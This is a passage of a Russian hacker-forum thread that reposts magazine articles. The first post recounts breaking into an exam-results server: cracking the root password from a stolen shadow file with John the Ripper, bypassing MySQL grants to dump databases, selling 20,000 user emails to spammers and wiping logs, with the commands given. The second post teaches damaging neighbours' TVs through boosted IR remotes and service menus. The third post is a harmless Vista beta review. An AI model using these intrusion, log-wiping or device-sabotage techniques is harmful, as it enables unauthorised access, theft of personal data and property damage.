Команда «net start» показала наличие встроенного файрвола и remote desktop (видимо, этот дедик использовался для рутинной работы под Windows smile.gif). На единственном диске C:\ находились какие-то документы, html/php-файлы и, по-видимому, архив движка сайта. Вспомнив об архивах, я быстренько набрал команду dir c: /B /S | find /i "tar", и она вывела меня на истинный путь. В дебрях Documents and Settings у админа (в Temp-каталоге) я нашел файл backup.tar.gz. Я тотчас подумал, что это базы ЕГЭ! В момент составив FTP-сценарий для сервера aabbcc4.chat.ru (как это делать, ты уже знаешь), я вывел архивчик. Но, как оказалось, там находилась копия каталогов /home, /etc и /root. Скорее всего, администратор потрошил внутренности своей фряхи и забыл почистить TEMP (кстати, загляни туда и удивись, какой хлам находится в этой папке smile.gif). На самом деле, даже факт наличия /etc/shadow заставлял меня радоваться жизни.

Первое, что я сделал, — это загрузил John брутать рутовый пароль сервера ЕГЭ по 100 Мб русскому/английскому словарю. Собственно, команда запуска была следующей:

john -w big_words -rules shadow > shad.encrypt

Я думал, что мне придется тырить хэши из Windows и ломать их, чтобы подставить в рутовый пароль. Но таких сложностей удалось избежать, так как Джоник справился с паролем на моем P4 за 165 минут (точное время) smile.gif. Опять администратор мог поменять пароль, ведь архив был довольно старым. Но удача мне улыбнулась, и команда su root увенчалась успехом. Я был королем бала!

Добиваем СУБД

Первое, про что я вспомнил, - конфиги mysql smile.gif. Размеренным шагом зайдя в web-каталог, я прочитал конфиг. Там была инфа о том, как подцепиться к локальной базе site. Выполнив mysql -uuser -ppass -e 'show databases', я увидел несколько неброских баз (видимо, для различных проектов), а также интересную базу с названием ege06. В списке также мелькала база site. Следующий запрос был уже более конкретен: mysql -uuser -ppass -e 'show tables ege06'. Правда, сразу после нажатия enter, я был послан нафиг - у меня не было прав для входа в базу ege06.

Мне надоело быть ущемленным в правах, поэтому я поступил проще: решил временно убить mysqld, перезапустить его в режиме --skip-grant-tables, слить дамп всей базы ege06 и запустить демон в обычном режиме. Учитывая, что за окном была кромешная тьма, я подумал, что не смущу этим случайных посетителей сайта, и выполнил ряд команд. Правда, мне пришлось посидеть и погрызть ногти пару минут, пока база дампилась на жесткий диск. После перезапуска СУБД я аккуратно забэкапил и базу site, так как в ней было под 20000 e-mail адресов и паролей (пускай и зашифрованных md5). Резервную копию делал, конечно же, командой mysqldump -uroot ege06 > ege.sql. Затем, аккуратно выложив заархивированную копию бэкапа, я быстро стянул ее со своего шустрого дедика.

Что было дальше, ты, наверное, и сам сможешь угадать. Просмотрев по диагонали результаты ЕГЭ, я решил не искать лишних приключений, а просто удалил архив. Впрочем, никто мне не мешал продать результаты, или еще хуже - изменить их на сервере (кто знает, может, это и была база первоисточника), но я не хотел торопиться. Единственное, что я сделал, так это продал местным спамерам базу из 20000 e-mail адресов. Ведь взлом производился отнюдь не из-за денег, скорее из-за простого интереса. После этого случая под мой прицел также попал официальный сайт Министерства образования РФ ed.gov.ru... Но это уже тема другой статьи.

Взломал - убери за собой!

Особое внимание я уделил чистке логов во Фряхе и Винде. Если первая проблема решалась простыми фильтрациями типа grep -v ip /var/log/messages > .tmp; mv .tmp /var/log/messages, то с Виндой мне пришлось попотеть. Дело в том, что я очень волновался за то, что незатейливо отправил машину в ребут. Но разрулить проблему мне помогла очень полезная утилитка clearel (http://thethin.net/clearel.zip), которая при запуске очищает весь системный журнал. Единственное, над чем мне пришлось попариться, так это над заливкой этой программы на виндовый сервак. Но, как говорится, искусство взлома требует жертв smile.gif.

DVD

На нашем DVD-диске ты найдешь консольную утилиту clearel и свежий релиз mysql, портированный под Windows. Как говорится, привыкай к консоли smile.gif

INFO

Ты мог заметить странный порт 3389 в статистике nmap'а. На самом деле этот порт был нужен для remote-подключений к винде через линуховый сервер. Эта цепочка была сделана с помощью хитрых средств dnat и ipfw.

DANGER

Информация, описанная в этой статье, в первую очередь указывает на недостатки в защите важных ресурсов. За использование этого материала в деструктивных целях автор и редакция ответственности не несут.





--------------------
Самые лучшие отзывы обо мне : [лопатой мозги вправить ], [Oбиженный жизнью заморыш],[ грубый и туповатый] , [не хватает интеллекта смотреть на мир шире. И все враги.], [озлобленный мальчик, помешанный на «членах» ] , [узколобость и шовинизм - это к имбецилам и другим болезням]
Пользователь offlineПрофайлОтправить личное сообщение
Вернуться к началу страницы
+Цитировать сообщение
Metallica
сообщение Nov 19 2006, 23:30
Сообщение #30


Oбиженный жизнью заморыш
Group Icon

Группа: Administrators
Сообщений: 2 136
Регистрация: 4-August 06
Из: Матрица
Пользователь №: 504
Имя: TONY MONTANO
Настроение: KILL EM ALL
Заходит на форум с гостевика или полного инета.



Пультом по телеку

Взлом телевизоров вблизи и на расстоянии

Все мы используем пульты дистанционного управления на ИК-основе, но далеко не каждый знает, какие возможности и опасности они предоставляют. Помимо «несанкционированного» переключения каналов у соседа, хакер может проникнуть в инженерное меню, чудовищно исказив геометрию экрана, отключив развертку или убив телевизор каким-нибудь другим способом.

Пелевин как-то сказал: «Телевизор — это унитаз, только наоборот: в унитаз серим мы с вами, а из телевизора серят на нас, причем во всей физической прямоте этого слова. Но даже не это самое страшное. Фактически телевизор превращается в пульт дистанционного управления телезрителем, являясь не просто одним из методов организации видеоряда, а основой телевещания — главным способом воздействия рекламно-информационного поля на сознание, при котором телезритель становится телепередачей, управляемой дистанционно. И в этом состоянии он проводит значительную часть своей жизни».

Хакеры телевизор вообще не смотрят, да и другим не советуют. А самые радикальные группы анархистского толка даже объявляют телевизорам священную войну, то есть джихад. Помните того пацана, который, оставшись один дома (фильм Home alone), с помощью нехитрого приспособления, сооруженного из пульта дистанционного управления, соединенного с телескопом, мешал «любимой» соседке смотреть телевизор, постоянно переключая каналы? Уверен, что многие пытались повторить его подвиг, но достичь успеха удалось единицам. Хотите узнать почему?

Оставив морально-юридический аспект вопроса догнивать на помойке, возьмем свой собственный телевизор и попробуем извратиться с ним по полной программе. Посмотрим, как далеко мы сможем зайти, и что у нас получится с ним сделать.

Боевая экипировка

Для дистанционного управления телевизором нам потребуется пульт, совместимый с типом атакуемой жертвы на уровне протоколов модуляции и команд управления. Систем модуляции всего три:

1. Система ITT, разработанная компанией GRUNDIG и основанная на измерении интервалов времени между последовательностью коротких импульсов излучения (в настоящее время практически полностью вышла из употребления);

2. Система RC-5, разработанная компанией PHILIPS, использует метод двухфазной передачи данных, модулирующий постоянный несущий сигнал (используется и по сей день, но все реже и реже, да и то в основном в отечественных телевизорах);

3. Система SIEMENS, разработанная одноименной компанией и модулирующая высокочастотный несущий сигнал (частота которого, кстати говоря, может варьироваться в широких пределах) навороченным цифровым протоколом, поддерживающим среди прочих фич еще и синхронизацию приемника с передатчиков. Пользуется большой популярностью у зарубежных телестроителей.

В настоящее время чаще всего используется объединенная система RC-5+SIEMENS, реализованная в микросхемах практически всех популярных производителей: PHILIPS, SIEMENS, THOMSON, SAMSUNG, LG и др. Теоретически можно создать универсальный пульт, поддерживающий одновременно множество моделей телевизоров. И такие пульты уже представлены на рынке (изготовленные, как правило, кустарным способом). Если же такого пульта нет, то необходимо приобрести «родной» пульт модели-жертвы, который сейчас продается практически в любом магазине, торгующем теле-аудио техникой.

По паспорту, номинальный рабочий диапазон пульта редко превышает несколько десятков метров (да и то лишь на свежих батареях). Учитывая невысокую плотность расположения домов, для диверсионных целей такого поражающего радиуса оказывается недостаточно, и без серьезной «хирургической» доработки здесь не обойтись! Можно, конечно, приложить пульт к окуляру телескопа типа «Мицар» или «Альтаир», выпускаемых Новосибирским приборостроительным заводом, и, прицелившись через искатель, вести огонь прямой наводкой, расстреливая телевизоры в домах напротив. Однако тут надо учесть, что коэффициент преломления инфракрасных лучей заметно отличается от видимого света, поэтому визуальная фокусировка невозможна! Необходимо выполнить перерасчет или подобрать положение фокусировочного кольца экспериментально. Но все равно телескоп — это дорого, громоздко и неудобно. Гораздо проще (и дешевле) доработать сам пульт, а для этого его необходимо вскрыть, орудуя кухонным ножом, как показано на рисунке 1.

После извлечения печатной платы из корпуса мы увидим излучающий инфракрасный светодиод, один из выводов которого, как правило, подключается к общему проводу (то есть, к массе), а другой — к коллектору биполярного высокочастотного транзистора. Предельную яркость ограничивает резистор, подключенный к базе (см. рис. 2).

Уменьшив сопротивление «базового» резистора (например, подпаяв параллельно ему еще один), мы увеличим яркость свечения светодиода, и «дальнобойность» пульта резко возрастет. Любители экстремальных ощущений могут перерезать питающую дорожку, ведущую к эммитору, и подать на транзистор до 5 Вольт. Светодиод заморгает как сумасшедший, и несмотря на то, что он скоро сгорит, за это время с таким пультом можно успеть многим навредить, хотя это будет уже не хакерство, а самое настоящее варварство.

Серьезные охотники удаляют светодиод, заменяя его лазерным излучателем. Лазерные указки — самое доступное оружие, но, увы, далеко не самое лучшее, поскольку их рабочий диапазон лежит в видимом свете, а фотоприемник телевизора защищен инфракрасным светофильтром, значительно ослабляющим видимый свет. Поэтому потребуется достаточно мощная указка, для «раскачки» которой одного транзистора может уже не хватить, и придется подпаивать дополнительный каскад, а для этого необходимо не только владеть навыками пайки, но и иметь некоторые познания в электронике.

Сторожевые системы (которые легко найти в магазинах, торгующих радиоконструкторами или заказать по почте) зачастую используют инфракрасные лазеры, идеально подходящие для охотничьих целей. В зависимости от фантазии и умения работать руками (по металлу) конструкции орудия могут быть различными. Кто-то засовывает лазерный излучатель прямо в ствол пневматической винтовки, кто-то вытачивает специальную насадку на бинокль или подзорную трубу, юстируя ее так, чтобы центр «креста нитей» окуляра совпадал с инфракрасным лучом. Работает такое устройство практически на любых расстояниях, ограниченных одним лишь горизонтом видимости, однако если требуется пострелять в жильцов, живущих снизу или сверху, то ничего не получится. Разве что забраться на крышу соседнего дома или подобрать только что выпаянный светодиод, прикрепив его к телескопической штанге, которую охотник сможет двигать во всех направлениях.

Достоинство светодиода (по сравнению с лазером) в том, что он дает расходящийся пучок света, многократно отражаемый от предметов окружающей обстановки (никто из вас не пробовал управлять телевизором, направив пульт в потолок или противоположную стену?), поэтому «подстрелить» жертву становится очень легко — даже необязательно прицеливаться. Главный (и, пожалуй, единственный) минус такого решения в том, что интенсивность изучения убывает пропорционально квадрату расстояния, в то время как лазер дает практически параллельный пучок. Короче, залогом успешной охоты становится богатый инвентарь. В одних случаях применяется одно оружие, в других — другое.

Мелкие пакости

Итак, вражеский телевизор лежит в перекрестье прицела, влажные от волнения пальцы застыли на пульте. Самое простое, что можно сделать (не привлекая к своей персоне никакого внимания), — это нащупать большую красную кнопку и вдавить ее до упора, отправляя телевизор в ждущий режим типа standby. После нескольких таких самопроизвольных отключений, агрегат, как правило, отправляется хозяевами на лечение в ближайшую мастерскую (очень помогает против соседей, увлекающихся повышенной громкостью по ночам, когда все нормальные хакеры занимаются отладкой программ, требующей глубокой сосредоточенности, граничащей с медитацией, и все посторонние звуки высаживают на глухую измену, то есть раздражают). Еще можно поиграть переключателем каналов, кнопкой «mute», регуляторами яркости, насыщенности и контраста, но, поскольку все эти действия отображаются на экране, жертва быстро сообразит, где тут собака зарыта, и займется поисками охотника, наблюдая за окнами соседних домов. Чтобы не быть пойманным и растерзанным без суда и следствия, необходимо заблаговременно позаботиться о маскировке.

Некоторые хакеры практикуют совершенно изумительный трюк: включая телевизор в отсутствие хозяев, они запускают режим «ручного» поиска станций и заводят все каналы на «пустоту». Внешне это выглядит так, как будто-то телевизор «теряет» каналы, что могло быть вызвано, например, выходом из строя микросхемы энергонезависимой памяти, программатора или фильтров в цепях питания. Дефекты подобного рода встречаются достаточно редко, но относятся к разряду «трудных», и телемастер может ковыряться в телевизоре целый месяц, прежде чем придет к выводу, что источник сбоев приходит откуда-то извне. Но по сравнению с тем, что ждет нас вперед, это всего лишь невинные шалости. В конце концов, каналы можно настраивать каждый раз перед просмотром.

С телевизорами, имеющими парольную защиту от детей, все обстоит намного хуже. По умолчанию она не задействована, и хакер свободно может установить любой пароль, предварительно заблокировав доступ ко всем органам управления. Подобрать пароль за разумное время практически невозможно, и для снятия блокировки приходится перепрограммировать микросхему энергонезависимой памяти, а для этого необходимо иметь фирменную прошивку, которая есть только в крупных сервисных центрах, да и то не во всех. Но даже если ее раздобыть (контрабандой или считыванием с телевизора идентичной модели), все индивидуальные настройки, касающиеся фокусировки, геометрии, цветового баланса и даже разгонных напряжений кинескопа, окажутся безвозвратно утерянными, и качество изображения резко упадет. Теоретически все параметры можно отстроить заново, но далеко не каждый мастер захочет с этим возиться, да и невозможна такая настройка в условиях маленькой мастерской. Без специальных (и весьма дорогостоящих) генераторов сигналов здесь не обойтись, а значит, после ремонта о прежнем качестве можно и не мечтать. (Небольшая ремарка: среди телемастеров также встречаются хакеры, которые знают, где именно хранится пароль и как он обнуляется, но таких еще найти надо).

Кстати говоря, огромным достоинством большинства телевизоров SAMSUNG является автоматическая загрузка базовой прошивки из ПЗУ: достаточно установить чистую микросхему памяти (как правило, марки IC902), включить телевизор в сеть и оставить его в ждущем режиме на 10-15 секунд. Но при этом вместе с прошивкой переписываются и настройки по умолчанию, то есть для достижения качественного изображения их все равно придется перенастраивать заново.

Внутри инженерного меню

Практически все современные телевизоры (DVD-плееры и прочие устройства) имеют специальные инженерное меню (service menu), дающие доступ к настройке служебных параметров (фокусу, геометрии экрана, цветовому балансу, etc) и скрытым возможностям типа HOTEL MODE (режим «отеля»). Это очень полезный режим для телевизоров, установленных в гостиницах или мотелях, который блокирует все функции пульта управления, кроме переключения каналов, а при необходимости еще и ограничивающий максимальную громкость звука, чтобы она никому не мешала. Только представьте, как обрадуется владелец телевизора с заблокированным пультом и громкостью, сбавленной до нуля. А ведь разблокировать все назад можно только в мастерской!

Вызов инженерного меню, как правило, осуществляется недокументированной комбинацией клавиш штатного пульта дистанционного управления. Реже — кнопок лицевой панели, расположенных непосредственно на самом телевизоре (см. рис. 3). В частности, линейка SONY KV 29FX требует удерживать клавиши PROG и PROG при включении питания. Пульт дистанционного управления при этом начисто игнорируется, что делает эти модели неподвластными взлому. К радости хакеров, таких телевизоров относительно немного. Производители все еще не осознали угрозу, исходящую от инженерного меню, а потому не предпринимают никаких шагов для его защиты.

В исключительных случаях требуется специальный пульт управления, который можно приобрести на радиорынке (см. рис. 4), или собрать на основе уже готовых пультов по схемам, найденным в сети (например, monitor.espec.ws/section1/topic60458.html). Ведь по сути дела все сводится к изучению определенной последовательности инфракрасных импульсов, которую очень легко запрограммировать на любом процессоре (хоть на том же ПК с ИК-адаптером).

Некоторые модели телевизоров фирмы SHARP позволяют добраться до инженерного меню только через непосредственное вмешательство в цепь управления процессором (в частности, модель 14/21 JN1 требует подачи 5 Вольт на 37-ю лапу микроконтроллера). Однако это уже экзотика, достойная лишь упоминания, но не более того. Основное внимание мы сосредоточим на телевизорах, вызывающих инженерное меню определенной комбинацией клавиш со штатного пульта управления.

Комбинация эта у каждого семейства телевизоров своя. Она отсутствует в руководстве пользователя, но с той или иной степенью подробности описывается в технической документации, распространяемой в узком кругу сервисных центров или аттестованных телемастеров. Никакого секрета она не представляет и чаще всего отдается без всякого NDA (Non - Disclosure Agreement – отдаленный аналог советской «подписке о неразглашении», не путать с National Drug Agency, сформированным в Риме 1 января 1999-го). Поэтому на многих радиолюбительских сайтах можно найти целую коллекцию подобных комбинаций, крупнейшим из которых является www.telemaster.ru (см. рис.5).

Много полезной информации публикует и журнал «Ремонт электронной техники» (http://www.elcp.ru/), но, к сожалению, в отрытый доступ выложены только журналы, опубликованные до середины 2003-го года (см. рис. 6), а за остальные приходится платить. Впрочем, телевизоры в плане обновления (upgrade) намного более консервативны, чем компьютеры 5-10-летней давности. К счастью, инженерное меню подробно описано в четвертом и пятом номерах РЭТ'а за 2001 год.

Можно обратиться за помощью на какой-нибудь ремонтный форум, например http://monitor.espec.ws/section1/ (см. рис. 7). С определенной степенью вероятности там помогут.

Наконец, можно приобрести весьма недурственную книжку Home Theater Hacks от O'Reilly (см. рис. 8) — там посвящен целый раздел взлому инженерных меню, но перечня конкретных комбинаций клавиш для каждой модели телевизора, увы, нет.

В частности, для большинства телевизоров фирмы SONY вызов инженерного меню осуществляется так: в режиме Standby (когда горит красный светодиод на лицевой панели), нажимается следующая последовательность клавиш на пульте управления (см. рис. 9).

Если все ОК, то телевизор немедленно переключается в так называемый TT-режим (tempo time), легко опознаваемый по надписи «TT--» в верхнем правом углу экрана и статусной информацией ниже него.

Переход в сервисное меню из TT-mode осуществляется двукратным нажатием клавиши <menu> на пульте управления до появления следующей картинки (см. рис. 11). Что делать дальше — сообразить нетрудно. Перемещаясь по пунктам меню «джойстиком» (кнопка <joystick>), подводим курсор к нужному пункту и нажимаем <OK>. Выход из инженерного меню обычно происходит по нажатию Standby на пульте управления (с сохранением всех измененных параметров) или путем выдергивая телевизора из розетки (измененные параметры при этом не сохраняются). Кстати говоря, последнюю операцию можно реализовать и удаленно, вооружившись пневматической винтовкой, перебив силовой шнур (шутка!) или обесточив квартиру рубильником на щитке.

Любопытный нюанс: большинство телевизоров имеет специальный счетчик входов в инженерное меню, и если в сервисном центре увидят, что здесь кто-то уже побывал, то в гарантийном ремонте могут запросто отказать, выставив клиента пинками за дверь. Впрочем, это не совсем законно, и поэтому может быть обжаловано в суде, только вряд ли что из этого получится.

Основная сложность заключается в том, что экран телевизора-жертвы зачастую недоступен охотнику, и все действия приходится выполнять вслепую, а для этого необходимо заранее потренироваться на телевизоре схожей или идентичной модели. Названия большинства пунктов говорят сами за себя, и при желании качество изображения можно не только ухудшить, но и улучшить! Особенно это касается бракованных партий, распространяемых «серыми» дилерами, или телевизоров, собранных «по лицензии» в соседнем подвале. Так устраняются геометрические искажения (см. рис. 12), уходит краснота лиц и многие другие дефекты, объясняющиеся небрежной настройкой, которая в условиях подпольной сборки становится слишком обременительной.

Находясь в сервисном меню, следует соблюдать величайшую осторожность и ни в коем случае не менять тех пунктов, назначение которых доподлинно неизвестно. Одно неверное движение может запросто «убить» телевизор! Достаточно отключить развертку, чтобы инженерное меню уже никогда не появилось на экране. Теоретически вернуть настройки можно и вслепую, но в условиях сервис-центра гораздо проще заменить микросхему энергонезависимой памяти.

Однако это еще не самое страшное! Некоторые настройки (особенно связанные с управляющими токами и напряжениями) могут вывести из строя несколько узлов!

А что же на счет мониторов? Процессорные блоки у них появились уже давно, а сейчас все чаще и чаще начинают попадаться и пульты управления (очень удобно, когда монитор используется и как рабочий инструмент, и как средство для просмотра DVD). Небольшое расследование показало, что в наиболее распространенных моделях никакого инженерного меню нет, во всяком случае, его нельзя вызывать ни с пульта, ни с лицевой панели. Однако прогресс не стоит на месте, электронная начинка мониторов стремительно усложняется, и прошивка начинает играть далеко не последнюю роль, а там, где есть прошивка, тем есть и возможность ее обновления или настройки. Тем более что сплошь и рядом приходится сталкиваться с ситуацией, когда одна и та же модель LCD-мониторов, выпускаемая одной и той же фирмой, в различных партиях использует матрицы от разных производителей, компенсируя разброс параметром настройкой firmware. Это может осуществляться не только аппаратным путем, но и по цифровому или аналоговому интерфейсу с компьютером. Протоколы обмена пока что не разглашаются, но авторизированные сервисные центры уже имеют специальные приборы для «тонкой» настройки. Остается только перехватить сигнал и расшифровать, после чего любой хакер запросто сможет написать вирус, если не выводящий монитор из строя, то приводящий изображение в непотребный вид.

DVD-плееры мы уже упоминали, но не стали на них акцентироваться, поскольку это тема совсем для другого разговора. Для охоты они не представляют существенного интереса, поскольку достаточно мало распространены (по сравнению с телевизорами), да и цели у хакера, скорее всего, будут другими (например, превратить привод в мультизональный, залить хакерскую прошивку, поддерживающую новые форматы файлов и т. д.). Выводить плееры из строя в силу их невысокой цены и отсутствия трудно-восстановимых уникальных настроек, резону нет. DVD – это не унитаз. Это — хорошая штука. И ломать их не нужно.

Как защититься от вандалов

Приобретая новый телевизор, заблаговременно поищите название его модели в интернете с ключевыми словами service menu и посмотрите, доступен ли вызов инженерного меню с пульта дистанционного управления? За редкими исключениями инженерное меню никогда не закрывается паролем, и поэтому защититься от злоумышленников программным путем никак не удастся. Лучше выбрать другой телевизор, благо на скудность ассортимента жаловаться уже не приходится.

С уже купленной аппаратурой дела обстоят намного сложнее. Но ведь не ставить же телевизор так, чтобы он не был доступен для обстрела из окон?! Далеко не каждый располагает жилплощадью, позволяющей делать такой выбор, да и к тому же обстрел может осуществляться не только прямой наводной, но и путем рикошета от стен или зеркал (убрать зеркала, на стены повесть ковры на потолок мрачные матовые обои в готическом стиле).

Самое простое и самое надежное решение — натянуть на «глазок» фотоприемника картонную трубочку длиной ~5 см, зачерненную изнутри. Конечно, легальным владельцем целиться пультом управления в телевизор будет уже сложнее, но зато это обеспечит надежную защиту от хакеров, вандалов и прочих любопытствующих.

Заключение

Современная аппаратура становится все сложнее, интеллектуальнее, многофункциональнее, умнее, но вместе с тем все уязвимее! Цифровые телевизоры позволяют обновлять свою прошивку прямо через телеэфир, а это значит, что любой хакер, вооруженный передатчиком, может внедрить в firmware своего вируса или прочую гадость.

Грядет эра тотального взлома, когда ломаться будет все, начиная от контроллера внутри смывного бочка унитаза и заканчивая спутниками. Как говорится, история нас учит тому, что ничему не учит. (с) Валентин Пашенцев. Разработчики думают, о чем угодно, но только не о безопасности. И хорошо, что большинство дыр эксплуатируется хакерами-одиночками, а не профессиональным спецназом противоборствующих стран. Наказывать за невинные шалости не только глупо, но и преступно! Если подростки будут регулярно угонять с военных баз самолеты, несущие ядерные боеголовки, то судить в первую очередь следует тех, кто проектировал систему безопасности, а подростков представить к награде (хотя бы посмертно). Так как в боевой обстановке наличие подобной дырки может очень сильно аукнуться, и чем раньше удастся ее выявить, тем лучше для всех.

CD/DVD

На DVD-диске мы выложили сборники комбинаций клавиш для входа в цифровое меню телевизоров. В документации охвачены практически все модели старых и новых телеков.

DANGER

Вся информация в этой статье дана лишь в ознакомительных целях. За любое незаконное использование материала автор и редакция не несет никакой ответственности.





--------------------
Самые лучшие отзывы обо мне : [лопатой мозги вправить ], [Oбиженный жизнью заморыш],[ грубый и туповатый] , [не хватает интеллекта смотреть на мир шире. И все враги.], [озлобленный мальчик, помешанный на «членах» ] , [узколобость и шовинизм - это к имбецилам и другим болезням]
Пользователь offlineПрофайлОтправить личное сообщение
Вернуться к началу страницы
+Цитировать сообщение
Metallica
сообщение Nov 20 2006, 00:17
Сообщение #31


Oбиженный жизнью заморыш
Group Icon

Группа: Administrators
Сообщений: 2 136
Регистрация: 4-August 06
Из: Матрица
Пользователь №: 504
Имя: TONY MONTANO
Настроение: KILL EM ALL
Заходит на форум с гостевика или полного инета.



Windows Vista — гроза хакеру

Обзор возможностей бета-версии ОС нового поколения

Итак, свершилось. Бета-версия новой Windows Vista официально доступна на сайте Microsoft. А значит, вооружившись скальпелем и недюжинным желанием, можно прощупать эту операционку со всех сторон. Что мы, собственно, и сделали. Вот результат.

Ты — избранный

До сегодняшнего дня познакомиться с новой ОС могли только самые любопытные и терпеливые, которых не испугать поиском варезных релизов в пиринговых сетях. Теперь все иначе. На выставке WinHEC 2006, которая, между прочим, является одним из ведущих событий организуемых Microsoft, глава компании лично заявил, что вторая бета-версия Windows Vista будет доступна для тестирования широкому кругу лиц. И не соврал. С 7 июня любой желающий имеет возможность слить вторую бету Висты (билд 5384 от 16.05.2006) бесплатно. Причем не какую-то урезанную версию, а самую что ни на есть полную — Ultimate Edition, включающую в себя все возможные компоненты будущей ОС. Мало этого, сразу в двух вариациях: для 32- и 64-битных платформ. Немного непривычным в сравнении с другими релизами MS может показаться размер дистрибутивов: 3,3 Гб и 4,2 Гб для разных вариаций. Но ведь это же ось нового поколения, в которой Microsoft аккумулирует все свои наработки за последние несколько лет. Да и вообще тебя не должно это волновать: образ с новой операционкой ты найдешь на нашем DVD.

Огласите требования.

Завладев дистрибутивом, одни сразу ринуться в бой, а другие задумаются: «А потянет ли моя машина?». Гейтс сильно преувеличил, когда в конце 2003-го года рассказывал о компьютере нового поколения для новой ОС. Как это обычно бывает, погорячились, а потом исправились. Чуть позже были оглашены новые системные требования, которые по нынешним меркам вполне скромные: процессор не меньше 1,1 Гц, 512 Мб оперативной памяти и современная видеокарта. В этот раз разработчики не поленились классифицировать максимально возможное разрешение для каждого класса видюшек: если у тебя видеокарта с 64 Мб памяти на борту, то большего разрешения, чем 1440х900, ты не увидишь, 128 потянет на 1920х1200 и т.д. Впрочем, даже эти характеристики указаны с некоторым запасом надежности. Например, у меня дома Vista вполне успешно завелась на стареньком 800-м Атлончике с 256 Мб оперативы. Да и бесхитростный GeForce2 200MX потянул намного больше, чем обещали разработчики. Для полноценной работы этого, естественно, недостаточно, но при большом желании для экспериментов полнее подходит.

Трудности перевода

Как и в предыдущих версиях винды, существует два варианта для установки: можно воспользоваться загрузчиком с DVD или же инсталлить ось из-под существующей системы. И если в последнем случае ничего кардинально не изменилось, то мастер для установки системы с нуля был переписан подчистую. Теперь это полноценная графическая система с удобным и понятным интерфейсом и подробными комментариями, сопровождающими любой шаг пользователя. Вообще проблемы, по-моему, исключены. Единственная сложность — дождаться, пока мастер сделает все необходимые действия. На моем тормозном домашнем компе вся процедура длилась аж полтора часа, хотя в офисе мы установили систему не более чем за 30 минут.

Работа с только что установленной операционкой обычно начинается с инсталляции необходимых драйверов. Но в случае Windows Vista я не устанавливал ни единого драйвера (в ХР такого не было). Все завелось и заработало на стандартных дровах, причем без каких-либо действий с моей стороны. И это несмотря на то, что сразу после выхода первых версий Longhorn’а (прежнего названия будущей ОС) по всемирной паутине понеслись жесткие дискуссии по поводу отвратной совместимости Windows Vista с существующим оборудованием и программным обеспечением. Мол, после установки в диспетчере — целый перечень конфликтующих устройств, а звуковые девайсы в Windows Vista вообще отказываются работать. Ни за что не поверю, что в дистрибутиве размером в 3,5 Гб не найдется укромного уголка для самых необходимых драйверов, с учетом того, что даже в XP, с ее сравнительно смехотворным объемом дистрибутива, помещалась все, что нужно. Не верь и ты. smile.gif

Что касается программной совместимости, то здесь вполне могли возникнуть проблемы. Переход на другую ОС, тем более с новым ядром, всегда влечет за собой неработоспособность отдельных приложений. И все же у меня почти все приложения заработали вполне стабильно. Неприятным исключением, правда, оказалась Miranda, которая по непонятным причинам глючила, но это, похоже, исключительно локальные проблемы на моем компьютере. Замечу, что определенные конфликты с приложениями могут возникнуть в связи с использованием новой графической среды Aero, поскольку некоторые программы с ней попросту несовместимы. Но в этом случае Vista автоматически переключит оформление на стандартное (с которым не возникнет подобных проблем), а затем, когда работа с приложением закончится, вернет все настройки оформления на свои места. Вообще, по нашим наблюдениям, с каждой новой сборкой заметно оттачивается стабильность системы. Если ранние версии можно было установить исключительно ради интереса — поэкспериментировать и удалить, то вторую бету Vista уже вполне можно использовать в качестве основной системы. Что я успешно и делаю на протяжении двух последних недель.

Красиво жить не запретишь

Если в твоем распоряжении имеется видеокарта с памятью на 128 Мб, то тебе будет доступна одна из главных инноваций Windows Vista — графическая технология Aero Glass. Эта потрясающая штука предоставляет совершенно новый интерфейс с трехмерными изображениями и кардинально новыми возможностями визуализации. Без тени сомнения могу сказать, что Aero на голову выше обычного интерфейса GDI+, используемого ранее в XP: многие моменты, ранее препятствующие комфортной работе, исправлены. Все реально продумано до мелочей. Навигация между окнами, например, стала намного проще благодаря предварительному просмотру окошек, появляющихся как при переключении через Alt-Tab, так и при наведении на иконку окна в панели задач. Причем в погоне за наворотами и впечатляющими эффектами, Microsoft задумалась и о стабильности системы. В случае нехватки ресурсов из-за большого количества запущенных приложений Windows предложит пользователю на время отключить требовательный интерфейс и таким образом существенно увеличить общее быстродействие Vista. Пользователю предоставляется три альтернативных варианта оформления, унаследованный у XP: Vista Basic, Standart из 2000 и старый добрый Classic от 98 винды.

Вся графическая часть системы построена на специально разработанной подсистеме Windows Presentation Foundation (кодовое название — Avalon). Использование векторного подхода и новейших технологий позволяет унифицировать работу с пользовательским интерфейсом, 2D- и 3D-изображениями, векторной и растровой графикой, анимацией, аудио и видео. В результате пользователю предлагаются свободно масштабируемые окна с тенями, полупрозрачными рамками, а также плавными переходами при максимизации или минимизации окна и т.д. И что самое главное — все это работает быстро, без тормозов.

В лучшую сторону изменилось меню «Пуск». Благодаря специальному полю, позволяющему находить нужную программу по части ее названия, не придется больше бегать по экрану глазами и судорожно искать нужное приложение. Впрочем, даже обычная навигация стала на порядок удобнее за счет использования древовидной структуры, аналогичной той, что применяется в проводнике.

Функции быстрого поиска доступны и на более глобальном уровне — по всей системе сразу. В частности, это одно из главных нововведений нового шелла системы, позволяющее быстро находить нужные документы. Если ранее использовалось понятие папки исключительно как контейнер для хранения файлов, то в Windows Vista введено новой понятие — список. В новый объект могут виртуально входить самые различные документы, которые реально имеют любое другое месторасположение. Кроме этого, доступен так называемый теневой каталог, позволяющий по запросу пользователя вернуть его содержание к состоянию, сохраненному в одной из точек восстановления. Наконец-то в систему встроен полноценный инструмент для бэкапа документов и отличный планировщик заданий, которые вполне успешно можно использовать. Все это стало доступно за счет введения символических ссылок и технологии Transactional NTFS — надстройки над существующей файловой системой NTFS, поддерживающей механизм транзакций. Напомню, что транзакция — это неделимая последовательность операций, которая может завершиться успешно (с выполнением всех запланированных действий), или завершиться полной неудачей (с откатом операций, которые завершились успешно).

Хочу отметить такой элемент интерфейса, как Windows SideBar. Несмотря на то, что в последних билдах он по умолчанию отключен, о нем знает почти каждая функциональная панель. Появившаяся еще в первых билдах Longhorn, она моментально заинтересовала публику и попала во всевозможные статьи. По умолчанию панель имеет довольно скромные возможности, но это сделано преднамеренно. Функциональность серьезно наращивается путем добавления/удаления так называемых гаджетов — небольших приложений со своими настройками и функциями (что-то вроде плагинов). Они свободно перемещаются по десктопу и могут выполнять самые разнообразные функции, например, отображая прогноз погоды или качество сетевого соединения. Гаджеты представляют собой не что иное, как HTML-файл, содержащий в себе код на VBScript или JavaScript. Любой человек, владеющий базовыми знаниями этих языков, может разработать свой собственный плагин, и успешно использовать его, разместив в папке %userprofile %\appdata\local\microsoft\windows sidebar\gadgets.

Мультимедиа

